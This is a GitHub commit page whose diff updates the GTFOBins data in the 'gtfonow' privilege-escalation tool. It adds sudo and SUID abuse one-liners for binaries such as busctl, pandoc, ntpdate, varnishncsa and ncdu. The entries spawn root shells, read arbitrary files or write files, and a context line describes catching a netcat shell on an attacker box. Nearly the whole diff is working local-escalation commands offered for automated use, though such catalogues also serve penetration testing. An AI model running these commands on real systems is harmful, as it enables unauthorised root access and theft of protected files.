Skip to content

Commit

Permalink
feat: Update GTFOBins
Browse files Browse the repository at this point in the history
  • Loading branch information
Frissi0n committed Dec 29, 2023
1 parent 05840d6 commit 27230db
Show file tree
Hide file tree
Showing 2 changed files with 44 additions and 3 deletions.
45 changes: 43 additions & 2 deletions gtfonow/gtfonow.py
Expand Up @@ -56,6 +56,11 @@
"code": "sudo aoss /bin/sh"
}
],
"apache2ctl": [
{
"code": "LFILE=file_to_read\nsudo apache2ctl -c \"Include $LFILE\" -k stop\n"
}
],
"apt": [
{
"code": "sudo apt changelog apt\n!/bin/sh\n",
Expand Down Expand Up @@ -226,7 +231,7 @@
],
"busctl": [
{
"code": "sudo busctl --show-machine\n!/bin/sh\n"
"code": "sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'\n"
}
],
"busybox": [
Expand Down Expand Up @@ -1121,6 +1126,11 @@
"description": "Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional."
}
],
"ncdu": [
{
"code": "sudo ncdu\nb\n"
}
],
"ncftp": [
{
"code": "sudo ncftp\n!/bin/sh\n"
Expand Down Expand Up @@ -1187,6 +1197,11 @@
"code": "sudo nsenter /bin/sh"
}
],
"ntpdate": [
{
"code": "LFILE=file_to_read\nsudo ntpdate -a x -k $LFILE -d localhost\n"
}
],
"octave": [
{
"code": "sudo octave-cli --eval 'system(\"/bin/sh\")'"
Expand Down Expand Up @@ -1226,7 +1241,8 @@
],
"pandoc": [
{
"code": "LFILE=file_to_write\necho DATA | sudo pandoc -t plain -o \"$LFILE\"\n"
"code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' >$TF\nsudo pandoc -L $TF /dev/null\n",
"description": "Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply."
}
],
"paste": [
Expand Down Expand Up @@ -1651,6 +1667,11 @@
"code": "sudo su"
}
],
"sudo": [
{
"code": "sudo sudo /bin/sh"
}
],
"sysctl": [
{
"code": "COMMAND='/bin/sh -c id>/tmp/id'\nsudo sysctl \"kernel.core_pattern=|$COMMAND\"\nsleep 9999 &\nkill -QUIT $!\ncat /tmp/id\n"
Expand Down Expand Up @@ -1858,6 +1879,11 @@
"code": "sudo valgrind /bin/sh"
}
],
"varnishncsa": [
{
"code": "LFILE=file_to_write\nsudo varnishncsa -g request -q 'ReqURL ~ \"/xxx\"' -F '%{yyy}i' -w \"$LFILE\"\n"
}
],
"vi": [
{
"code": "sudo vi -c ':!/bin/sh' /dev/null"
Expand Down Expand Up @@ -2169,6 +2195,11 @@
"code": "LFILE=file_to_read\n./bridge -b \"$LFILE\"\n"
}
],
"busctl": [
{
"code": "./busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'\n"
}
],
"busybox": [
{
"code": "./busybox sh",
Expand Down Expand Up @@ -2714,6 +2745,11 @@
"code": "./nohup /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\""
}
],
"ntpdate": [
{
"code": "LFILE=file_to_read\n./ntpdate -a x -k $LFILE -d localhost\n"
}
],
"od": [
{
"code": "LFILE=file_to_read\n./od -An -c -w9999 \"$LFILE\"\n"
Expand Down Expand Up @@ -3068,6 +3104,11 @@
"code": "cd $(mktemp -d)\necho 'exec \"/bin/sh -p\"' > Vagrantfile\nvagrant up\n"
}
],
"varnishncsa": [
{
"code": "LFILE=file_to_write\n./varnishncsa -g request -q 'ReqURL ~ \"/xxx\"' -F '%{yyy}i' -w \"$LFILE\"\n"
}
],
"view": [
{
"code": "./view -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'",
Expand Down

0 comments on commit 27230db

Please sign in to comment.